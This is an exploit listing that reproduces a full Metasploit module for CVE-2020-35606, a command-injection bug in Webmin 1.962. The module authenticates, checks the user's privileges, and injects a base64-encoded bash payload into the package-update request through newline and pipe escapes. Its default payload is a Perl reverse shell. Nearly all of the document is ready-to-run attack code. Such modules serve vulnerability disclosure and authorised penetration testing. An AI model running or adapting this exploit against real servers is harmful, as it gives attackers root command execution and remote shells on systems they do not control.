Webmin 1.962 Remote Command Execution

2020.12.23
Credit: AkkuS
Risk: High
Local: No
Remote: Yes
CWE: CWE-78

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Webmin 1.962 - Package Update Escape Bypass RCE (Metasploit)', 'Description' => %q( This module exploits an arbitrary command execution vulnerability in Webmin 1.962 and lower versions. Any user authorized to the "Package Updates" module can execute arbitrary commands with root privileges. It emerged by circumventing the measure taken for CVE-2019-12840. s/\\(-)|\\(.)/string/g; escape is not enough for prevention. Therefore, since the package name variable is placed directly in the system command, we can manipulate it using some escape characters that HTTP supports. For example, we can escape control by dropping the command line down one line. We can do this with "%0A" and "%0C" urlencoded row values.Also, for paylad to work correctly, we must add double an ampersand(&&) to the end of the payload (%26%26) ), 'Author' => [ 'AkkuS <Özkan Mustafa Akkuş>' # Vulnerability Discovery, MSF PoC module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', 'CVE-2020-35606'], ['URL', 'https://www.pentest.com.tr/exploits/Webmin-1962-PU-Escape-Bypass-Remote-Command-Execution.html'] ], 'Privileged' => true, 'Payload' => { 'DisableNops' => true, 'Space' => 512, 'Compat' => { 'PayloadType' => 'cmd' } }, 'DefaultOptions' => { 'RPORT' => 10000, 'SSL' => false, 'PAYLOAD' => 'cmd/unix/reverse_perl' }, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Targets' => [['Webmin <= 1.962', {}]], 'DisclosureDate' => '2020-12-21', 'DefaultTarget' => 0) ) register_options [ OptString.new('USERNAME', [true, 'Webmin Username']), OptString.new('PASSWORD', [true, 'Webmin Password']), OptString.new('TARGETURI', [true, 'Base path for Webmin application', '/']) ] end def peer "#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}" end def login res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri, 'session_login.cgi'), 'cookie' => 'testing=1', # it must be used for "Error - No cookies" 'vars_post' => { 'page' => '', 'user' => datastore['USERNAME'], 'pass' => datastore['PASSWORD'] } }) if res && res.code == 302 && res.get_cookies =~ /sid=(\w+)/ return $1 end return nil unless res '' end def check cookie = login return CheckCode::Detected if cookie == '' return CheckCode::Unknown if cookie.nil? vprint_status('Attempting to execute...') # check version res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "sysinfo.cgi"), 'cookie' => "sid=#{cookie}", 'vars_get' => { "xnavigation" => "1" } }) if res && res.code == 302 && res.body version = res.body.split("Webmin 1.")[1] return CheckCode::Detected if version.nil? version = version.split(" ")[0] if version <= "962" # check package update priv res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, "package-updates/"), 'cookie' => "sid=#{cookie}" }) if res && res.code == 200 && res.body =~ /Software Package Update/ print_status("NICE! #{datastore['USERNAME']} has the right to >>Package Update<<") return CheckCode::Vulnerable end end end print_error("#{datastore['USERNAME']} doesn't have the right to >>Package Update<<") print_status("Please try with another user account!") CheckCode::Safe end def exploit cookie = login if cookie == '' || cookie.nil? fail_with(Failure::Unknown, 'Failed to retrieve session cookie') end print_good("Session cookie: #{cookie}") res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri, 'proc', 'index_tree.cgi'), 'headers' => { 'Referer' => "#{peer}/sysinfo.cgi?xnavigation=1" }, 'cookie' => "sid=#{cookie}" ) unless res && res.code == 200 fail_with(Failure::Unknown, 'Request failed') end print_status("Attempting to execute the payload...") run_update(cookie) end def run_update(cookie) @b64p = Rex::Text.encode_base64(payload.encoded) perl_payload = 'bash -c "{echo,' + "#{@b64p}" + '}|{base64,-d}|{bash,-i}"' payload = Rex::Text.uri_encode(perl_payload) res = send_request_cgi( { 'method' => 'POST', 'cookie' => "sid=#{cookie}", 'ctype' => 'application/x-www-form-urlencoded', 'uri' => normalize_uri(target_uri.path, 'package-updates', 'update.cgi'), 'headers' => { 'Referer' => "#{peer}/package-updates/?xnavigation=1" }, # new vector // bypass to backslash %0A%7C{}%26%26 'data' => "redir=%2E%2E%2Fsquid%2F&redirdesc=Squid%20Proxy%20Server&mode=new&u=squid34%0A%7C#{payload}%26%26" # for CVE-2019-12840 #'data' => "u=acl%2Fapt&u=%20%7C%20#{payload}&ok_top=Update+Selected+Packages" }) end end


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